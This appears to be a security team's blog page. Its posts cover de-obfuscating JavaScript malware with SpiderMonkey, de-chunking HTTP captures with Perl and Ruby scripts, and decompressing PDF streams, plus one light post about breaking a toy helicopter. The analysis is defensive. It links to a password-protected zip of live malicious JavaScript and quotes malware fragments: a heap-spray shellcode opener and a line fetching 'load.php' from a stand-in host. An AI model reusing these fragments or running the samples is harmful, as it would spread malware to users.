Kill-o-copter!

Maybe I could make up a story about how sweet it is a to pen-test a helicopter, or perhaps regale you with stories about how I flew on my own private 'copter. Unfortunately, neither of those are true... instead you get to view some of the work stress-relief practiced around here.

This is/was an IMEX Stinger VX helicopter, completely ready to fly. Or in our case, crash. We managed to break both skids, a tail support and completely dislodge the rotor gears in about 10 minutes. See... we really are good at breaking stuff!

Security - 1. Kill-o-copter - 0.

Pwning Javascript Malware: a soup to nuts approach

First some words of caution. This will (or should) set off any anti-virus software you have running on your machine. Also, this is live malicious code so please don't run it... and is the reason we use Linux to poke at this stuff. Again, live + malicious = bad so don't run it.

It seems other than a handful of ISC posts, javascript de-obfuscation references are few and far between. So taking what ISC and others have started, and maybe finished privately (just think if you shared we wouldn't be having this talk now, and I could have watched more episodes of BSG), we have constructed our own process of malware de-obfuscation. Don't worry this won't be a lame tutorial on how to hex decode something, or look you can change eval(unescape("...")); to document.write(unescape("...")). This will give an overview of looking at multiple levels of obfuscation using arguments.callee written specifically for Internet Explorer. So where's the "amazing" part? I'm going to tell you how to do it with SpiderMonkey on Linux.

A quick rundown of things you will need:

1. SpiderMonkey patched to print eval(), but I'll show you why that's not necessary any more
2. mystubs.js and mypost.js available here
3. This script to emulate Internet Explorer's arguments.callee functionality
4. A version of Chaosreader patched to do de-chunking (if you're getting this stuff from a chunked session)
5. Some sort of text editor
6. And the Javascript you want to de-obfuscate

If you can't find some malicious Javascript to de-obfuscate, you can download our example and follow along. The password for the zip file is 'pwned'.

After downloading the Javascript (evil.js from the zip file) open it up in your editor and add the following to the top:

window="";
window.location="/";
location="";
location.href="http://tag58.com/cgi-bin/index.cgi?ad";

This will allow us to fake the necessary information back to SpiderMonkey as to what objects the page has and where the page is located (in this case tag58.com).

Now we want to get the Javascript prepared for reversing. If you notice in this specific example it uses arguments.callee, then does a toString() and then gets the length. You will also notice that it concatenates the location.href to arguments.callee.toString(). So, how do we bypass all of these different tamper-resistant techniques? Simple, we use the script that emulates the IE version of arguments.callee.toString(). Copy and paste the entire function, from the first 'f' to the last '}', into a new document. Then without adding any spaces copy the http://...ad from above immediately after, save and exit (step2.js from the zip file). Finally run the script on the file you just created and note the output (which output is used depends on where in the script you want to inject it).

Now look for the part in the script that says TngP47fdn = TngP47fdn.toUpperCase(); and change that to TngP47fdn = "<output>"; Where <output> is the last bit from the script under [toUpperCase()]: (step2-function.js). Producing the file step3.js. This next part is the cool part. You can go through the trouble of patching SpiderMonkey to print out all calls to eval() or since you've subverted the tamper-resistant technique you can change them all to document.write(), *TaDa* To do this change the portion in the code from wegif4kx2(nmyWKuRI4) to document.write(nmyWKuRI4), and you'll notice all of the goodness being spewed forth when you run <path>/js -f <path>/mystubs.js -f step4.js -f <path>/mypost.js. As a side note, you can now put random code in the Javascript in the step4.js if you want to further debug the code to figure out how exactly the de-obfuscation routine works because by patching in the expected results the script doesn't know any better.

Simply wash, rinse and repeat until you get the meaty-goodness. I've tried this on quite a few of the samples I was able to get a hold of, and it has worked, but if you try it and it doesn't work let me know.

i hate you asprox

ok, 4 separate client incidents today and counting. you are lucky that you are easy to IPS. some of the sites compromised seem to be pretty prominent.

more de-chunking (chaosreader patch)

ok, so i went ahead and wrote a quick patch to chaosreader to handle chunk-encoded transfers. files extracted from http sessions should be automagically dechunked. not sure if \r\n vs. \n line ends make any difference.

5359,5375d5358
<            ### Chunk Check
<            if ( $http_header =~ /Transfer-Encoding: chunked/ ) {
<              my $new_http_data="";
<              my $chunksize=-1;
<              my $pos=0;
<              until ($chunksize==0) {
<                my $eolpos=index($http_data,"\r\n",$pos);
<                $chunksize=hex(substr($http_data,$pos,$eolpos - $pos));
<                $pos=($eolpos+2);
<                if ($chunksize > 0) {
<                  $new_http_data.=substr($http_data,$pos,$chunksize);
<                }
<                $pos+=($chunksize+2);
<              }
<              $http_data=$new_http_data;
<            }
<

download link

pdf pwnage

Laziness and impatience are the twin virtues of any good IT worker, for they motivate you to automate things. Automation of analytical tasks eliminates variance and allows you to spend more time.... doing analysis. ISC had a diary entry about extracting flate-encoded PDF chunks. They had included some sample perl code that required byte-mangling and stuff. All well and good for those of you who like to do lots of manual analysis. For the truly lazy and impatient, there's podofo.

podofouncompress does the trick nicely:

%PDF-1.5 %M-bM-cM-OM-S 1 0 obj <>stream ^XM-^PIM-&M-AM-^GM-cM-^ZDM-Cf_M-sM-@5M-~^FM-^Q5M-...blah blah blah


Becomes

function re(count,what) {var v = "";while (--count >= 0) v += what;return v;} function start() {sc = unescape("%u9090%...


oh yeah, and captain krunkenstein totally had the drop on isc - he was patching spidermonkey when you were putting js in textareas.

dechunking - simple but potentially confusing

So say you've got some http data to analyze, but the content isn't lining up right - binary extractionfrom the http server response only produces corrupt files when using trace carving tools like chaosreader. Check the server response headers to see if the Transfer-Encoding header is present and set to "chunked". If it is, you will need to reassemble the response body from the chunks before subsequent decoding/decompression.

download link

#!/bin/env ruby
require 'stringio'
end_of_headers="\r\n\r\n"
outbuf=""
chunksize=-1

filename=ARGV[0]

f=File.new(filename,"r")

everything=f.gets(nil)

bodystart=everything.index(end_of_headers)
sio=StringIO.new(everything)

header=sio.read(bodystart + end_of_headers.length)
if header.match(/Transfer-Encoding: chunked/i)
until chunksize==0
  chunksize=sio.gets("\r\n").rstrip.hex
  outbuf+=sio.read(chunksize)
  2.times {sio.getc}
end
else
warn("#{filename} doesn't have a Transfer-Encoding: chunked header")
exit(1)
end

print outbuf

** server can't find myhost: SERVFAIL

Nothing quite brings a smile to my face like when a script kiddie isn't quite smart enough to figure out the already highly automated tools they have at their disposal. A great reference is a recent hit of ours. It started out like any other minor incident, a user was browsing a website that was a victim of some sort of attack. This attack then snuck an iframe into the HTML and referenced to a .js file at "123.231.102.209" (which by the way if your running, you might want to make sure you're not compromised). The file was pretty heavily obfuscated with the usual string replacement style (show below). However, my favorite part of it was the following:

NknOUUaTGunmGbyZiIFLV.open("3vZVKO9ZLFz6PqIl9Uxisuv5Y0BhoMET".replace(/3vZVKO9ZLFz6PqIl9Uxisuv5Y0BhoM/ig, "G"),'http://myhost/load.php?bof',false);

Which opens the following URL http://myhost/load.php?bof, but the thing to note here... In whatever automation software the attacker was using they forgot to put something slightly more useful to them, and something slightly less hilarious to me, than "myhost" as the hostname.

Just further proof that while there is some good talent out there, there really is a lot to be desired.

First Post!

This blog has a vision, and contained deep within that vision is an idea. An idea so pure that no^H^Heverybody has done it before. Well, I guess it's not that pure. But the idea and the vision is that this blog is a way for us to disseminate some of the information that is gained through attack analysis as well as other thoughts. Including but not limited to: some malware reverse-engineering, web attacks, security ideas/thoughts/methodologies, and even some software. Who knows what will happen it's simply the beginning.